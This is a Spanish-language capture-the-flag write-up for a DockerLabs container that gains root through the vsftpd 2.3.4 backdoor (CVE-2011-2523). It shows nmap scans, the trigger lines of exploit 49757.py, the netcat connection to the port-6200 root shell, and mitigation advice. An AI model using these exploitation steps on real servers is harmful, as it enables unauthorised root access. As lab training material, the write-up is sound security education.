Tproot Lab
Estado: completado
Fecha: 01/10/2026
Plataforma: DockerLabs
Dificultad: Muy Fácil
Diploma de finalización

Alcance y objetivo
Objetivo autorizado:
172.17.0.2
Tipo de entorno: contenedor vulnerable
Objetivo de aprendizaje: identificar servicios expuestos, determinar versiones vulnerables, localizar un exploit público y obtener acceso al sistema mediante la vulnerabilidad de
vsftpd 2.3.4.
El laboratorio fue descargado desde DockerLabs y levantado siguiendo el mismo procedimiento utilizado para los laboratorios anteriores.
El análisis se realizó exclusivamente contra el contenedor autorizado 172.17.0.2.
Resumen ejecutivo
El reconocimiento inicial identificó los puertos 21/tcp y 80/tcp. La enumeración de versiones permitió determinar que el servicio FTP utilizaba vsftpd 2.3.4, versión asociada a la vulnerabilidad CVE-2011-2523.
Mediante searchsploit se localizó un exploit público para la backdoor de vsftpd 2.3.4. Aunque el script Python produjo inicialmente un error al intentar conectarse al puerto 6200, una comprobación posterior confirmó que dicho puerto estaba abierto.
La conexión directa mediante nc permitió obtener una shell con privilegios root. Desde /root se obtuvo la flag final del laboratorio:
261fd3f32200f950f231816b4e9a0594
Por lo tanto, el acceso inicial y el máximo privilegio fueron obtenidos mediante el mismo vector de explotación.
Reconocimiento remoto
Escaneo completo de puertos
Se realizó un escaneo TCP de todos los puertos:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
Explicación del comando
| Parte | Significado |
|---|---|
sudo | Ejecuta Nmap con privilegios elevados. |
nmap | Herramienta utilizada para descubrir puertos y servicios de red. |
-p- | Escanea todos los puertos TCP, del 1 al 65535. |
--open | Muestra únicamente los puertos identificados como abiertos. |
-sS | Realiza un SYN Scan TCP. |
--min-rate 5000 | Solicita una tasa mínima de aproximadamente 5000 paquetes por segundo. |
-vvv | Utiliza un nivel elevado de verbosidad. |
-n | Evita la resolución DNS. |
-Pn | Omite el descubrimiento convencional del host y trata al objetivo como activo. |
172.17.0.2 | Dirección IP del contenedor autorizado. |
Resultado
21/tcp open ftp
80/tcp open http

Se identificaron dos puertos TCP abiertos:
| Puerto | Servicio | Evidencia | Próximo paso |
|---|---|---|---|
21/tcp | FTP | Puerto abierto | Identificar versión y configuración |
80/tcp | HTTP | Puerto abierto | Identificar servidor y contenido web |
El puerto 21/tcp fue priorizado debido a que la versión del servidor FTP podía revelar una vulnerabilidad conocida.

Enumeración de servicios
Enumeración de versiones
Se realizó una enumeración más detallada sobre los puertos encontrados:
sudo nmap -sCV -p 21,80 172.17.0.2
Explicación del comando
| Parte | Significado |
|---|---|
sudo | Ejecuta Nmap con privilegios elevados. |
nmap | Herramienta de reconocimiento de red. |
-sC | Ejecuta scripts NSE considerados estándar. |
-sV | Intenta identificar las versiones concretas de los servicios. |
-p 21,80 | Limita el análisis a los puertos 21 y 80. |
172.17.0.2 | Objetivo autorizado. |
Resultado
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)

Tabla de servicios
| Puerto | Servicio | Versión | Hallazgo |
|---|---|---|---|
21/tcp | FTP | vsftpd 2.3.4 | Versión asociada a una backdoor conocida |
80/tcp | HTTP | Apache 2.4.58 | Página por defecto de Apache |
21/tcp | FTP | Anónimo | El script detectó un error al intentar acceder a /var/ftp |
El hallazgo más relevante fue:
vsftpd 2.3.4
Esta versión está asociada a la vulnerabilidad CVE-2011-2523, relacionada con una versión de vsftpd distribuida con una backdoor.
Búsqueda de exploits
Para comprobar si existían exploits públicos asociados a la versión encontrada se utilizó:
searchsploit "vsftpd 2.3.4"
Explicación
| Parte | Significado |
|---|---|
searchsploit | Herramienta local para buscar exploits disponibles en Exploit-DB. |
"vsftpd 2.3.4" | Término utilizado para buscar exploits relacionados con esa versión. |
Resultado
vsftpd 2.3.4 - Backdoor Command Execution
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

Se encontraron dos implementaciones:
| Exploit | Archivo | Tipo |
|---|---|---|
| Backdoor Command Execution | unix/remote/49757.py | Python |
| Backdoor Command Execution | unix/remote/17491.rb | Metasploit |
Se decidió utilizar inicialmente la implementación Python para comprender directamente el funcionamiento del exploit.
Descarga del exploit
Se utilizó:
searchsploit -m 49757
Explicación
| Parte | Significado |
|---|---|
searchsploit | Herramienta de búsqueda de Exploit-DB. |
-m | mirror: copia el exploit encontrado al directorio actual. |
49757 | Identificador del exploit en Exploit-DB. |
El resultado indicó:
Exploit: vsftpd 2.3.4 - Backdoor Command Execution
Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
Codes: CVE-2011-2523
Verified: True
Copied to: /home/kali/Downloads/49757.py

El exploit quedó disponible localmente como:
49757.py

Verificación del archivo
Se verificó que el exploit estuviera presente:
ls -l
Análisis del exploit
Antes de ejecutarlo se revisó su código:
cat 49757.py

El exploit utiliza:
portFTP = 21
user="USER nergal:)"
password="PASS pass"

y posteriormente intenta conectarse a:
tn2=Telnet(host, 6200)

La lógica simplificada del exploit es:
Conectarse a FTP/21
↓
Enviar usuario especialmente construido
↓
Activar la backdoor
↓
La backdoor abre TCP/6200
↓
Conectarse a TCP/6200
↓
Obtener shell
Componentes relevantes del código
| Código | Función |
|---|---|
Telnet(host, portFTP) | Conecta con el servicio FTP en el puerto 21. |
USER nergal:) | Envía la cadena que activa la condición vulnerable. |
PASS pass | Completa la interacción FTP necesaria para activar la backdoor. |
Telnet(host, 6200) | Intenta conectarse al listener creado por la backdoor. |
tn2.interact() | Permite interactuar con la conexión obtenida. |
Acceso inicial
Ejecución del exploit
Se ejecutó:
python3 49757.py 172.17.0.2
Explicación
| Parte | Significado |
|---|---|
python3 | Ejecuta el script utilizando Python 3. |
49757.py | Exploit descargado desde Exploit-DB. |
172.17.0.2 | Dirección del objetivo autorizado. |
El script produjo inicialmente:
ConnectionRefusedError: [Errno 111] Connection refused

El error se produjo cuando el script intentó realizar:
Telnet(host, 6200)
Esto indicaba que en ese instante la conexión al puerto 6200 había sido rechazada.
Sin embargo, no se concluyó inmediatamente que la explotación hubiera fallado, por lo que se realizó una nueva comprobación del puerto.
Validación del listener de la backdoor
Se realizó un nuevo escaneo:
sudo nmap -p 21,80,6200 172.17.0.2
Explicación
| Parte | Significado |
|---|---|
sudo | Ejecuta Nmap con privilegios elevados. |
nmap | Herramienta de reconocimiento. |
-p 21,80,6200 | Analiza específicamente los puertos 21, 80 y 6200. |
172.17.0.2 | Objetivo autorizado. |
Resultado
21/tcp open ftp
80/tcp open http
6200/tcp open lm-x

El resultado confirmó que:
6200/tcp open
existía un servicio escuchando en el puerto 6200.
La situación observada fue:
vsftpd 2.3.4
↓
Exploit
↓
Backdoor activada
↓
6200/tcp abierto
Por lo tanto, se realizó una conexión directa al listener.
Conexión a la shell
Se utilizó nc:
nc 172.17.0.2 6200

Explicación
| Parte | Significado |
|---|---|
nc | Netcat, herramienta utilizada para realizar conexiones de red. |
172.17.0.2 | Dirección IP del objetivo. |
6200 | Puerto TCP donde la backdoor estaba escuchando. |
Una vez establecida la conexión se ejecutó:
whoami
Resultado:
root
Posteriormente:
id
Resultado:
uid=0(root) gid=0(root) groups=0(root)
Finalmente:
hostname
Resultado:
dockerlabs

Confirmación del acceso
| Comando | Resultado | Interpretación |
|---|---|---|
whoami | root | La sesión pertenece al usuario root. |
id | uid=0(root) | El UID 0 confirma privilegios de root. |
hostname | dockerlabs | Confirma el nombre del contenedor comprometido. |
El acceso obtenido fue:
Usuario: root
UID: 0
Hostname: dockerlabs

Enumeración local de Linux
En este laboratorio la shell obtenida mediante la backdoor ya tenía privilegios root.
Por este motivo, no fue necesario realizar una escalada de privilegios posterior.
La evidencia del contexto de ejecución fue:
whoami
id
hostname

Resultado:
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
hostname
dockerlabs
El acceso inicial ya proporcionó el máximo nivel de privilegio del sistema.
Permisos y posibles vectores de escalada
No se realizó una enumeración de sudo, SUID, capabilities o cron para conseguir privilegios adicionales, ya que la explotación del servicio FTP había proporcionado directamente root.
| Vector | Estado | Motivo |
|---|---|---|
sudo -l | No necesario | La sesión ya era root. |
| SUID/SGID | No necesario | La sesión ya era root. |
| Capabilities | No necesario | La sesión ya era root. |
| Cron/timers | No necesario | La sesión ya era root. |
Escalada de privilegios
Resultado
No hubo una escalada de privilegios tradicional.
La vulnerabilidad explotada en vsftpd 2.3.4 permitió obtener directamente una shell con UID 0.
Condición:
Backdoor presente en vsftpd 2.3.4
Validación:
Conexión a TCP/6200 mediante Netcat
Resultado:
uid=0(root)
La cadena fue:
Reconocimiento
↓
21/tcp FTP
↓
vsftpd 2.3.4
↓
Identificación de CVE-2011-2523
↓
Exploit 49757.py
↓
Backdoor
↓
6200/tcp
↓
Netcat
↓
root
Evidencias y flags
Evidencia de acceso
La evidencia principal del compromiso fue:
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
hostname
dockerlabs
Esto demuestra que la explotación permitió obtener ejecución de comandos como root.
Enumeración del directorio inicial
Una vez dentro de la shell se ejecutó:
ls
El resultado mostró numerosos archivos relacionados con el código fuente y compilación de vsftpd, incluyendo:
vsftpd
vsftpd.conf
vsftpd.conf.5
main.c
main.o
prelogin.c
prelogin.o
postlogin.c
postlogin.o
Este contenido proporcionó evidencia adicional del entorno sobre el que se obtuvo acceso.
Obtención de la flag de root
Se accedió al directorio /root:
cd /root
Posteriormente se verificó su contenido:
ls
Resultado:
root.txt
Finalmente se obtuvo la flag:
cat root.txt
Resultado:
261fd3f32200f950f231816b4e9a0594

Flags
| Flag | Comando | Resultado |
|---|---|---|
| Flag de root | cat /root/root.txt | 261fd3f32200f950f231816b4e9a0594 |
Evidencia completa
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
261fd3f32200f950f231816b4e9a0594

La obtención de root.txt confirma el compromiso completo del objetivo y la obtención del máximo nivel de privilegio disponible en el contenedor.
Mitigación y aprendizajes
Mitigación
La vulnerabilidad principal debe corregirse eliminando la versión vulnerable de vsftpd.
Medidas recomendadas:
- Actualizar
vsftpda una versión segura y soportada. - Evitar utilizar software con versiones conocidas por contener backdoors.
- Mantener un inventario de versiones de servicios expuestos.
- Restringir la exposición de FTP cuando no sea necesario.
- Monitorizar conexiones y servicios inesperados en puertos no habituales.
- Utilizar mecanismos de autenticación y transferencia de archivos seguros cuando sea posible.
- Revisar periódicamente los servicios expuestos desde el exterior del sistema.
Aprendizajes
- Un escaneo completo de puertos permite identificar servicios que no aparecen en un escaneo limitado.
- La enumeración de versiones es fundamental para relacionar un servicio con vulnerabilidades conocidas.
searchsploitpermite localizar rápidamente exploits disponibles en Exploit-DB.- Revisar el código de un exploit permite comprender qué condiciones espera encontrar en el objetivo.
- Un error del exploit no necesariamente significa que toda la explotación haya fallado.
- La comprobación posterior de
6200/tcppermitió confirmar que la backdoor había dejado un listener activo. ncpermitió conectarse directamente al listener y obtener una shell.whoamieidson comprobaciones fundamentales para determinar el nivel de privilegios obtenido.- En este laboratorio no fue necesario realizar una escalada de privilegios porque el vector inicial proporcionó directamente
root. - La lectura de
/root/root.txtpermitió confirmar la finalización del laboratorio mediante la obtención de la flag.
Cadena completa del ataque
┌─────────────────────────────┐
│ DockerLabs │
│ 172.17.0.2 │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ Nmap -p- │
│ │
│ 21/tcp FTP │
│ 80/tcp HTTP │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ Nmap -sCV │
│ │
│ vsftpd 2.3.4 │
│ Apache 2.4.58 │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ Searchsploit │
│ │
│ CVE-2011-2523 │
│ Backdoor Command Execution │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ 49757.py │
│ │
│ Exploit vsftpd 2.3.4 │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ TCP/6200 │
│ │
│ Backdoor listener │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ nc 172.17.0.2 6200 │
│ │
│ SHELL │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ ROOT │
│ │
│ uid=0(root) │
└──────────────┬──────────────┘
│
▼
┌─────────────────────────────┐
│ /root/root.txt │
│ │
│ 261fd3f32200f950f231816b4e9a0594 │
└─────────────────────────────┘